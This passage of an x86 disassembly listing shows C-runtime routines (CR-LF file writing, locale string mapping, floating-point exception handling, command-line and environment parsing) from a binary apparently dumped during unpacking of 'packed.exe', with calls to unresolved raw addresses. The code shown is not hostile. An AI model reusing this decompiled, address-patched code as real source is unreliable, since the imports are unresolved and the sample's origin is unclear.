test byte ptr [edi+0Ch], 1
jz loc_422910
mov edx, [edi+4]
test edx, edx
jnz short loc_42287E
and [ebp+var_8], edx
jmp loc_422910
; ---------------------------------------------------------------------------
loc_42287E: ; CODE XREF: sub_4227C5+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DC5C0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_42290A
push 2
push 0
push [ebp+var_C]
call sub_42272B
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_4228D1
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_4228BC: ; CODE XREF: sub_4227C5+104j
cmp eax, ecx
jnb short loc_4228CB
cmp byte ptr [eax], 0Ah
jnz short loc_4228C8
inc [ebp+arg_0]
loc_4228C8: ; CODE XREF: sub_4227C5+FEj
inc eax
jmp short loc_4228BC
; ---------------------------------------------------------------------------
loc_4228CB: ; CODE XREF: sub_4227C5+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_422905
; ---------------------------------------------------------------------------
loc_4228D1: ; CODE XREF: sub_4227C5+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_42272B
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_4228F8
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_4228F8
test ch, 4
jz short loc_4228FB
loc_4228F8: ; CODE XREF: sub_4227C5+124j
; sub_4227C5+12Cj
mov eax, [edi+18h]
loc_4228FB: ; CODE XREF: sub_4227C5+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_422905: ; CODE XREF: sub_4227C5+10Aj
jz short loc_42290A
inc [ebp+arg_0]
loc_42290A: ; CODE XREF: sub_4227C5+D9j
; sub_4227C5:loc_422905j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_422910: ; CODE XREF: sub_4227C5+A4j
; sub_4227C5+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_422918: ; CODE XREF: sub_4227C5+3Cj
; sub_4227C5+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4227C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p
; sub_41DB8B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4DC6C0
push esi
push edi
jnb loc_422AB1
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DC5C0h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_422AB1
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_42296E
loc_422967: ; CODE XREF: sub_42291D+177j
xor eax, eax
jmp loc_422AC5
; ---------------------------------------------------------------------------
loc_42296E: ; CODE XREF: sub_42291D+48j
test al, 20h
jz short loc_42297E
push 2
push edi
push ecx
call sub_42272B
add esp, 0Ch
loc_42297E: ; CODE XREF: sub_42291D+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_422A4D
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_422A85
loc_42299E: ; CODE XREF: sub_42291D+F5j
lea eax, [ebp+var_414]
loc_4229A4: ; CODE XREF: sub_42291D+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4229D8
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_4229C3
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_4229C3: ; CODE XREF: sub_42291D+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_4229A4
loc_4229D8: ; CODE XREF: sub_42291D+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 26F0000h
test eax, eax
jz short loc_422A42
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_422A14
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_42299E
loc_422A14: ; CODE XREF: sub_42291D+EAj
; sub_42291D+12Ej
xor edi, edi
loc_422A16: ; CODE XREF: sub_42291D+150j
; sub_42291D+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_422AAC
cmp [ebp+arg_0], edi
jz short loc_422A85
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_422A7A
mov dword_4DB278, 9
mov dword_4DB27C, eax
jmp loc_422AC2
; ---------------------------------------------------------------------------
loc_422A42: ; CODE XREF: sub_42291D+E0j
nop
call near ptr 2670897h
mov [ebp+arg_0], eax
jmp short loc_422A14
; ---------------------------------------------------------------------------
loc_422A4D: ; CODE XREF: sub_42291D+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
nop
call near ptr 26F0000h
test eax, eax
jz short loc_422A6F
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_422A16
; ---------------------------------------------------------------------------
loc_422A6F: ; CODE XREF: sub_42291D+145j
nop
call near ptr 2670897h
mov [ebp+arg_0], eax
jmp short loc_422A16
; ---------------------------------------------------------------------------
loc_422A7A: ; CODE XREF: sub_42291D+10Fj
push [ebp+arg_0]
call sub_4203DF
pop ecx
jmp short loc_422AC2
; ---------------------------------------------------------------------------
loc_422A85: ; CODE XREF: sub_42291D+7Bj
; sub_42291D+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_422A9A
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_422967
loc_422A9A: ; CODE XREF: sub_42291D+16Fj
mov dword_4DB278, 1Ch
mov dword_4DB27C, edi
jmp short loc_422AC2
; ---------------------------------------------------------------------------
loc_422AAC: ; CODE XREF: sub_42291D+FEj
sub eax, [ebp+var_10]
jmp short loc_422AC5
; ---------------------------------------------------------------------------
loc_422AB1: ; CODE XREF: sub_42291D+15j
; sub_42291D+37j
and dword_4DB27C, 0
mov dword_4DB278, 9
loc_422AC2: ; CODE XREF: sub_42291D+120j
; sub_42291D+166j ...
or eax, 0FFFFFFFFh
loc_422AC5: ; CODE XREF: sub_42291D+4Cj
; sub_42291D+192j
pop edi
pop esi
pop ebx
leave
retn
sub_42291D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p
; sub_41D5AA+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427948
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4DB34C, edi
jnz short loc_422B40
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_427940
mov esi, 100h
push esi
push edi
nop
call near ptr 2640000h
test eax, eax
jz short loc_422B1E
mov dword_4DB34C, ebx
jmp short loc_422B40
; ---------------------------------------------------------------------------
loc_422B1E: ; CODE XREF: sub_422ACA+4Aj
push edi
push edi
push ebx
push offset dword_4CAE2C
push esi
push edi
nop
call near ptr 2641042h
test eax, eax
jz loc_422C58
mov dword_4DB34C, 2
loc_422B40: ; CODE XREF: sub_422ACA+2Ej
; sub_422ACA+52j
cmp [ebp+arg_C], edi
jle short loc_422B55
push [ebp+arg_C]
push [ebp+arg_8]
call sub_426180
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_422B55: ; CODE XREF: sub_422ACA+79j
mov eax, dword_4DB34C
cmp eax, 2
jnz short loc_422B7C
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2641042h
jmp loc_422C5A
; ---------------------------------------------------------------------------
loc_422B7C: ; CODE XREF: sub_422ACA+93j
cmp eax, 1
jnz loc_422C58
cmp [ebp+arg_18], edi
jnz short loc_422B92
mov eax, dword_4DB344
mov [ebp+arg_18], eax
loc_422B92: ; CODE XREF: sub_422ACA+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
nop
call near ptr 2820000h
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_422C58
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422BED
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_422BED: ; CODE XREF: sub_422ACA+10Ej
cmp [ebp+var_24], edi
jz short loc_422C58
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
nop
call near ptr 2820000h
test eax, eax
jz short loc_422C58
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2640000h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_422C58
test byte ptr [ebp+arg_4+1], 4
jz short loc_422C6C
cmp [ebp+arg_14], edi
jz loc_422CE7
cmp esi, [ebp+arg_14]
jg short loc_422C58
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2640000h
test eax, eax
jnz loc_422CE7
loc_422C58: ; CODE XREF: sub_422ACA+66j
; sub_422ACA+B5j ...
xor eax, eax
loc_422C5A: ; CODE XREF: sub_422ACA+ADj
; sub_422ACA+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_422C6C: ; CODE XREF: sub_422ACA+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422CA0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_422CA0: ; CODE XREF: sub_422ACA+1C2j
cmp ebx, edi
jz short loc_422C58
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2640000h
test eax, eax
jz short loc_422C58
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_422CC7
push edi
push edi
jmp short loc_422CCD
; ---------------------------------------------------------------------------
loc_422CC7: ; CODE XREF: sub_422ACA+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_422CCD: ; CODE XREF: sub_422ACA+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
nop
call near ptr 28110D0h
mov esi, eax
cmp esi, edi
jz loc_422C58
loc_422CE7: ; CODE XREF: sub_422ACA+165j
; sub_422ACA+188j
mov eax, esi
jmp loc_422C5A
sub_422ACA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_422E2F
test eax, eax
pop ecx
jz loc_422E23
mov ebx, [eax+8]
test ebx, ebx
jz loc_422E23
cmp ebx, 5
jnz short loc_422D1F
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_422E2C
; ---------------------------------------------------------------------------
loc_422D1F: ; CODE XREF: ___:00422D11j
cmp ebx, 1
jz loc_422E1E
mov ecx, dword_4DB350
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov dword_4DB350, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_422E0E
mov ecx, dword_43C940
mov edx, dword_43C944
add edx, ecx
push esi
cmp ecx, edx
jge short loc_422D6E
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43C8D0h[esi*4]
loc_422D65: ; CODE XREF: ___:00422D6Cj
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_422D65
loc_422D6E: ; CODE XREF: ___:00422D57j
mov eax, [eax]
mov esi, dword_43C94C
cmp eax, 0C000008Eh
jnz short loc_422D89
mov dword_43C94C, 83h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422D89: ; CODE XREF: ___:00422D7Bj
cmp eax, 0C0000090h
jnz short loc_422D9C
mov dword_43C94C, 81h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422D9C: ; CODE XREF: ___:00422D8Ej
cmp eax, 0C0000091h
jnz short loc_422DAF
mov dword_43C94C, 84h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DAF: ; CODE XREF: ___:00422DA1j
cmp eax, 0C0000093h
jnz short loc_422DC2
mov dword_43C94C, 85h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DC2: ; CODE XREF: ___:00422DB4j
cmp eax, 0C000008Dh
jnz short loc_422DD5
mov dword_43C94C, 82h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DD5: ; CODE XREF: ___:00422DC7j
cmp eax, 0C000008Fh
jnz short loc_422DE8
mov dword_43C94C, 86h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DE8: ; CODE XREF: ___:00422DDAj
cmp eax, 0C0000092h
jnz short loc_422DF9
mov dword_43C94C, 8Ah
loc_422DF9: ; CODE XREF: ___:00422D87j
; ___:00422D9Aj ...
push dword_43C94C
push 8
call ebx
pop ecx
mov dword_43C94C, esi
pop ecx
pop esi
jmp short loc_422E16
; ---------------------------------------------------------------------------
loc_422E0E: ; CODE XREF: ___:00422D40j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_422E16: ; CODE XREF: ___:00422E0Cj
mov eax, [ebp+8]
mov dword_4DB350, eax
loc_422E1E: ; CODE XREF: ___:00422D22j
or eax, 0FFFFFFFFh
jmp short loc_422E2C
; ---------------------------------------------------------------------------
loc_422E23: ; CODE XREF: ___:00422CFDj
; ___:00422D08j
push dword ptr [ebp+0Ch]
nop
call near ptr 26301ACh
loc_422E2C: ; CODE XREF: ___:00422D1Aj
; ___:00422E21j
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_422E2F proc near ; CODE XREF: ___:00422CF5p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43C948
cmp dword_43C8C8, edx
push esi
mov eax, offset dword_43C8C8
jz short loc_422E5C
lea esi, [ecx+ecx*2]
lea esi, ds:43C8C8h[esi*4]
loc_422E51: ; CODE XREF: sub_422E2F+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_422E5C
cmp [eax], edx
jnz short loc_422E51
loc_422E5C: ; CODE XREF: sub_422E2F+16j
; sub_422E2F+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43C8C8h[ecx*4]
cmp eax, ecx
jnb short loc_422E6F
cmp [eax], edx
jz short locret_422E71
loc_422E6F: ; CODE XREF: sub_422E2F+3Aj
xor eax, eax
locret_422E71: ; CODE XREF: sub_422E2F+3Ej
retn
sub_422E2F endp
; ---------------------------------------------------------------------------
cmp dword_4DC914, 0
jnz short loc_422E80
call sub_42026D
loc_422E80: ; CODE XREF: ___:00422E79j
push esi
mov esi, dword_4DC90C
mov al, [esi]
cmp al, 22h
jnz short loc_422EB2
loc_422E8D: ; CODE XREF: ___:00422EA5j
; ___:00422EA8j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_422EAA
test al, al
jz short loc_422EAA
movzx eax, al
push eax
call sub_424D36
test eax, eax
pop ecx
jz short loc_422E8D
inc esi
jmp short loc_422E8D
; ---------------------------------------------------------------------------
loc_422EAA: ; CODE XREF: ___:00422E93j
; ___:00422E97j
cmp byte ptr [esi], 22h
jnz short loc_422EBC
loc_422EAF: ; CODE XREF: ___:00422EC4j
inc esi
jmp short loc_422EBC
; ---------------------------------------------------------------------------
loc_422EB2: ; CODE XREF: ___:00422E8Bj
cmp al, 20h
jbe short loc_422EBC
loc_422EB6: ; CODE XREF: ___:00422EBAj
inc esi
cmp byte ptr [esi], 20h
ja short loc_422EB6
loc_422EBC: ; CODE XREF: ___:00422EADj
; ___:00422EB0j ...
mov al, [esi]
test al, al
jz short loc_422EC6
cmp al, 20h
jbe short loc_422EAF
loc_422EC6: ; CODE XREF: ___:00422EC0j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp dword_4DC914, ebx
push esi
push edi
jnz short loc_422EDC
call sub_42026D
loc_422EDC: ; CODE XREF: ___:00422ED5j
mov esi, dword_4DB2E8
xor edi, edi
loc_422EE4: ; CODE XREF: ___:00422EFAj
mov al, [esi]
cmp al, bl
jz short loc_422EFC
cmp al, 3Dh
jz short loc_422EEF
inc edi
loc_422EEF: ; CODE XREF: ___:00422EECj
push esi
call sub_41AFE0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_422EE4
; ---------------------------------------------------------------------------
loc_422EFC: ; CODE XREF: ___:00422EE8j
lea eax, ds:4[edi*4]
push eax
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4DB2A0, esi
jnz short loc_422F1E
push 9
call sub_41DA29
pop ecx
loc_422F1E: ; CODE XREF: ___:00422F14j
mov edi, dword_4DB2E8
cmp [edi], bl
jz short loc_422F61
push ebp
loc_422F29: ; CODE XREF: ___:00422F5Ej
push edi
call sub_41AFE0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_422F5A
push ebp
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_422F4D
push 9
call sub_41DA29
pop ecx
loc_422F4D: ; CODE XREF: ___:00422F43j
push edi
push dword ptr [esi]
call sub_41BEB0
pop ecx
add esi, 4
pop ecx
loc_422F5A: ; CODE XREF: ___:00422F36j
add edi, ebp
cmp [edi], bl
jnz short loc_422F29
pop ebp
loc_422F61: ; CODE XREF: ___:00422F26j
push dword_4DB2E8
call sub_41B0B1
pop ecx
mov dword_4DB2E8, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4DC910, 1
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4DC914, ebx
push esi
push edi
jnz short loc_422F9A
call sub_42026D
loc_422F9A: ; CODE XREF: ___:00422F93j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
nop
call near ptr 2660000h
mov eax, dword_4DC90C
mov off_4DB2B0, esi
mov edi, esi
cmp [eax], bl
jz short loc_422FBF
mov edi, eax
loc_422FBF: ; CODE XREF: ___:00422FBBj
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push ebx
push ebx
push edi
call sub_42301C
mov eax, [ebp-8]
mov ecx, [ebp-4]
lea eax, [eax+ecx*4]
push eax
call sub_41B4D5
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_422FEF
push 8
call sub_41DA29
pop ecx
loc_422FEF: ; CODE XREF: ___:00422FE5j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
mov eax, [ebp-4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_42301C
mov eax, [ebp-4]
add esp, 14h
dec eax
mov dword_4DB298, esi
pop edi
pop esi
mov dword_4DB294, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42301C proc near ; CODE XREF: ___:00422FCAp
; ___:00423000p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_423046
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_423046: ; CODE XREF: sub_42301C+20j
cmp byte ptr [eax], 22h
jnz short loc_42308F
loc_42304B: ; CODE XREF: sub_42301C+58j
; sub_42301C+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_42307D
test dl, dl
jz short loc_42307D
movzx edx, dl
test byte_4DC7E1[edx], 4
jz short loc_423070
inc dword ptr [ecx]
test esi, esi
jz short loc_423070
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_423070: ; CODE XREF: sub_42301C+46j
; sub_42301C+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_42304B
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_42304B
; ---------------------------------------------------------------------------
loc_42307D: ; CODE XREF: sub_42301C+36j
; sub_42301C+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_423087
and byte ptr [esi], 0
inc esi
loc_423087: ; CODE XREF: sub_42301C+65j
cmp byte ptr [eax], 22h
jnz short loc_4230D2
inc eax
jmp short loc_4230D2
; ---------------------------------------------------------------------------
loc_42308F: ; CODE XREF: sub_42301C+2Dj
; sub_42301C+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_42309A
mov dl, [eax]
mov [esi], dl
inc esi
loc_42309A: ; CODE XREF: sub_42301C+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4DC7E1[ebx], 4
jz short loc_4230B5
inc dword ptr [ecx]
test esi, esi
jz short loc_4230B4
mov bl, [eax]
mov [esi], bl
inc esi
loc_4230B4: ; CODE XREF: sub_42301C+91j
inc eax
loc_4230B5: ; CODE XREF: sub_42301C+8Bj
cmp dl, 20h
jz short loc_4230C3
test dl, dl
jz short loc_4230C7
cmp dl, 9
jnz short loc_42308F
loc_4230C3: ; CODE XREF: sub_42301C+9Cj
test dl, dl
jnz short loc_4230CA
loc_4230C7: ; CODE XREF: sub_42301C+A0j
dec eax
jmp short loc_4230D2
; ---------------------------------------------------------------------------
loc_4230CA: ; CODE XREF: sub_42301C+A9j
test esi, esi
jz short loc_4230D2
and byte ptr [esi-1], 0
loc_4230D2: ; CODE XREF: sub_42301C+6Ej
; sub_42301C+71j ...
and [ebp+arg_10], 0
loc_4230D6: ; CODE XREF: sub_42301C+19Ej
cmp byte ptr [eax], 0
jz loc_4231BF
loc_4230DF: ; CODE XREF: sub_42301C+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4230EB
cmp dl, 9
jnz short loc_4230EE
loc_4230EB: ; CODE XREF: sub_42301C+C8j
inc eax
jmp short loc_4230DF
; ---------------------------------------------------------------------------
loc_4230EE: ; CODE XREF: sub_42301C+CDj
cmp byte ptr [eax], 0
jz loc_4231BF
test edi, edi
jz short loc_423103
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_423103: ; CODE XREF: sub_42301C+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_423108: ; CODE XREF: sub_42301C+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_423111: ; CODE XREF: sub_42301C+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_42311A
inc eax
inc ebx
jmp short loc_423111
; ---------------------------------------------------------------------------
loc_42311A: ; CODE XREF: sub_42301C+F8j
cmp byte ptr [eax], 22h
jnz short loc_42314B
test bl, 1
jnz short loc_423149
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_423138
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423138
mov eax, edx
jmp short loc_42313B
; ---------------------------------------------------------------------------
loc_423138: ; CODE XREF: sub_42301C+10Dj
; sub_42301C+116j
mov [ebp+arg_0], edi
loc_42313B: ; CODE XREF: sub_42301C+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_423149: ; CODE XREF: sub_42301C+106j
shr ebx, 1
loc_42314B: ; CODE XREF: sub_42301C+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_423160
inc ebx
loc_423153: ; CODE XREF: sub_42301C+142j
test esi, esi
jz short loc_42315B
mov byte ptr [esi], 5Ch
inc esi
loc_42315B: ; CODE XREF: sub_42301C+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_423153
loc_423160: ; CODE XREF: sub_42301C+134j
mov dl, [eax]
test dl, dl
jz short loc_4231B0
cmp [ebp+arg_10], 0
jnz short loc_423176
cmp dl, 20h
jz short loc_4231B0
cmp dl, 9
jz short loc_4231B0
loc_423176: ; CODE XREF: sub_42301C+14Ej
cmp [ebp+arg_0], 0
jz short loc_4231AA
test esi, esi
jz short loc_423199
movzx ebx, dl
test byte_4DC7E1[ebx], 4
jz short loc_423192
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_423192: ; CODE XREF: sub_42301C+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4231A8
; ---------------------------------------------------------------------------
loc_423199: ; CODE XREF: sub_42301C+162j
movzx edx, dl
test byte_4DC7E1[edx], 4
jz short loc_4231A8
inc eax
inc dword ptr [ecx]
loc_4231A8: ; CODE XREF: sub_42301C+17Bj
; sub_42301C+187j
inc dword ptr [ecx]
loc_4231AA: ; CODE XREF: sub_42301C+15Ej
inc eax
jmp loc_423108
; ---------------------------------------------------------------------------
loc_4231B0: ; CODE XREF: sub_42301C+148j
; sub_42301C+153j ...
test esi, esi
jz short loc_4231B8
and byte ptr [esi], 0
inc esi
loc_4231B8: ; CODE XREF: sub_42301C+196j
inc dword ptr [ecx]
jmp loc_4230D6
; ---------------------------------------------------------------------------
loc_4231BF: ; CODE XREF: sub_42301C+BDj
; sub_42301C+D5j
test edi, edi
jz short loc_4231C6
and dword ptr [edi], 0
loc_4231C6: ; CODE XREF: sub_42301C+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_42301C endp
; ---------------------------------------------------------------------------
push ecx
push ecx
mov eax, dword_4DB458
push ebx
push ebp
mov ebp, dword_42703C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_42321E
call ebp
mov esi, eax
cmp esi, ebx
jz short loc_4231FF
mov dword_4DB458, 1
jmp short loc_423227
; ---------------------------------------------------------------------------
loc_4231FF: ; CODE XREF: ___:004231F1j
nop
call near ptr 2620B6Eh
mov edi, eax
cmp edi, ebx
jz loc_4232F9
mov dword_4DB458, 2
jmp loc_4232AD
; ---------------------------------------------------------------------------
loc_42321E: ; CODE XREF: ___:004231E9j
cmp eax, 1
jnz loc_4232A8
loc_423227: ; CODE XREF: ___:004231FDj
cmp esi, ebx
jnz short loc_423237
call ebp
mov esi, eax
cmp esi, ebx
jz loc_4232F9
loc_423237: ; CODE XREF: ___:00423229j
cmp [esi], bx
mov eax, esi
jz short loc_42324C
loc_42323E: ; CODE XREF: ___:00423243j
; ___:0042324Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_42323E
inc eax
inc eax
cmp [eax], bx
jnz short loc_42323E
loc_42324C: ; CODE XREF: ___:0042323Cj
sub eax, esi
mov edi, dword_42717C
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+34h], eax
call edi
mov ebp, eax
cmp ebp, ebx
jz short loc_42329D
push ebp
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [esp+10h], eax
jz short loc_42329D
push ebx
push ebx
push ebp
push eax
push dword ptr [esp+24h]
push esi
push ebx
push ebx
call edi
test eax, eax
jnz short loc_423299
push dword ptr [esp+10h]
call sub_41B0B1
pop ecx
mov [esp+10h], ebx
loc_423299: ; CODE XREF: ___:00423289j
mov ebx, [esp+10h]
loc_42329D: ; CODE XREF: ___:00423269j
; ___:00423278j
push esi
nop
call near ptr 2620E12h
mov eax, ebx
jmp short loc_4232FB
; ---------------------------------------------------------------------------
loc_4232A8: ; CODE XREF: ___:00423221j
cmp eax, 2
jnz short loc_4232F9
loc_4232AD: ; CODE XREF: ___:00423219j
cmp edi, ebx
